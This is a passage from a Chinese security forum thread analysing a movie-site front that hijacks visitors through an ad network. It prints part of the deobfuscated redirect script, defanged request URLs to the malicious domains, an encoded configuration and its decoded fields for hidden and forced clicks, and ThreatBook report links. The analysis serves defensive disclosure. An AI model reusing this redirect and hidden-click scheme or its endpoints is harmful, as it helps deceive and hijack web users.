  507.               ((n.string = e.string),
  508.                 (n.width = window.innerWidth),
  509.                 parseInt(window.screen.height) / parseInt(window.screen.width) >
  510.                 1.7
  511.                   ? ((n.height = parseInt(
  512.                       (n.width / 640) * (124 + 40 * (3 - n.size)),
  513.                     )),
  514.                     (n.hiheight = parseInt((n.width / 640) * n.hid_height)))
  515.                   : ((n.height = 120), (n.hiheight = 0)),
  516.                 (n.user_agent = navigator.userAgent.toLowerCase()),
  517.                 (n.time = new Date().getTime()),
  518.                 (n.open_n = 0),
  519.                 (n.hid_c_number = 0),
  520.                 (n.com_c_number = 0),
  521.                 (n.show_number = t.gCook("show_number" + n.id)),
  522.                 n.show_number
  523.                   ? (n.show_number = parseInt(n.show_number) + 1)
  524.                   : (n.show_number = 1),
  525.                 setTimeout(function () {
  526.                   t.sCook("show_number" + n.id, n.show_number, 18e3);
  527.                 }, 3e4),
  528.                 t.init(n));
  529.             }
  530.           } catch (e) {
  531.             t.catch(e);
  532.           }
  533.         }));
  534.     }
  535.   }
  536. })();
复制代码
关键描述
  1. 热烈欢迎站长加入 狗狗联盟 www[.]gglm[.]dog
复制代码
请求配置
  1. https://47817g[.]smun7ro[.]com:8005/d/7817?t=0.12345678901234567
复制代码
返回内容
  1. {
  2.     "key": "["6f"g1{}1="dfXY5F6LY5MdfM6f"gssKK="JF6^Y"g}1Q}01o{1{="6LM2OF"g"0"="L64Y"g"}"="^dFFY5"g"@0@s\\/0Q\\/@o}Ko0sKQ1smFRF"="J_5q"g"hFFJLg\\/\\/0o0{p(mJ}ShFfdm(O^g{00n"="J_5q@"g"hFFJLg\\/\\/0o0{p(mJ}ShFfdm(O^g{00n"="^_5q"g"hFFJLg\\/\\/pmT75Ddm(2"="5YLY5XYMhY6phF"g0="7dqLYM(qO"g0="h6fMLFdFY"g}="h6fMhY6phF"g@n0="h6fM(q6(SM2_^"g}0="h6fMJX2_^MLhOD"g0="(O^MLFdFY"g0="(O^MfY7Y5"g}0="(O^M(q6(SM2_^"g}0="(O^MJX2_^MLhOD"g0="(O^JYqMLS6J"g0="(O^JYqMLS6JMfYqdT"gK000="LYOMLS6J"g0="LYOMLS6JMfYqdT"gK000="JOL6F6O2"g"@"="LFTqY"g""="q62S"g"hFFJLg\\/\\/DDDmh^0o@nFmX6JgQn@1"="6LMC6YR6"g"0"="LFdF6LM(OfY"g""="YXYFTJY"g"FO_(hY2f"="5YdfMF6^Y"g}n00="FO2pC6MCL"g""P",
  3.     "string": "YWR2.....yNDFj"
  4. }
复制代码
编码格式
  1. base64
复制代码
解码参考

  1.   advertiser_ad_id=3366
  2. &
  3.   advertiser_id=3281
  4. &
  5.   compel_chance=10
  6. &
  7.   hid_chance=100
  8. &
  9.   is_referrer=1
  10. &
  11.   link=https://www[.]hm0425t[.]vip:9527
  12. &
  13.   position_id=11
  14. &
  15.   return_chance=0
  16. &
  17.   time=1791074878
  18. &
  19.   type=1
  20. &
  21.   webmaster_ad_id=7817
  22. &
  23.   webmaster_id=9076
  24. &
  25.   key=4c4cc8278d40c7e71654eb4fddf8241c
复制代码
拼接参考
  1. https://47817g[.]smun7ro[.]com:8005/cc/7817?abc=abc&is_not=0&se=YWR2.....NDFj&target=1
复制代码
联盟注册
  1. https://www[.]gglm[.]dog/register

  2. 自我描述
  3. 狗狗联盟
  4. 最专业的广告联盟

  5. 选项
  6. [口]流量主登录
  7. [ ]广告主登录

  8. 帐号
  9. 密码
  10. 联系人姓名
  11. 扣扣号码
  12. 验证码

  13. 确认注册
复制代码
中断套娃
  1. 目前已足够判定其披着影视站点外壳恶意劫持跳转
  2. 故我&D老师,不再继续分析接下来的套娃内容了
复制代码

影视外壳
https://s.threatbook.com/report/url/7bd1cb468a1523302abb011d6d9802d6

跳转参考
https://s.threatbook.com/report/url/fd1b40ce6fb4a43b6a7183d4d1be6141

请求配置
https://s.threatbook.com/report/url/988282685e1898d054d838d376bd00f9

拼接参考
https://s.threatbook.com/report/url/7607130df01f9a6951a19ad6c9cbf5ac

恶意配置
https://s.threatbook.com/report/url/b44525a72b3bb0cfc392a7191ecf4a1d

混淆脚本
https://s.threatbook.com/report/url/2ca0ff37da1d114fbef6ec5fdf6b1047

所谓联盟
https://s.threatbook.com/report/url/37ae34dfd8fde43fb422e19014a327be

联盟注册
https://s.threatbook.com/report/url/044ec481c05c0a28a8c30b49f7c45fc5
xiaobaobao20
发表于 2026-10-5 15:44:04 | 显示全部楼层
Snipaste_2026-10-05_15-43-20.png bd似乎拦截的是跳转的网页
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-20 05:14 , Processed in 0.092526 second(s), 4 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表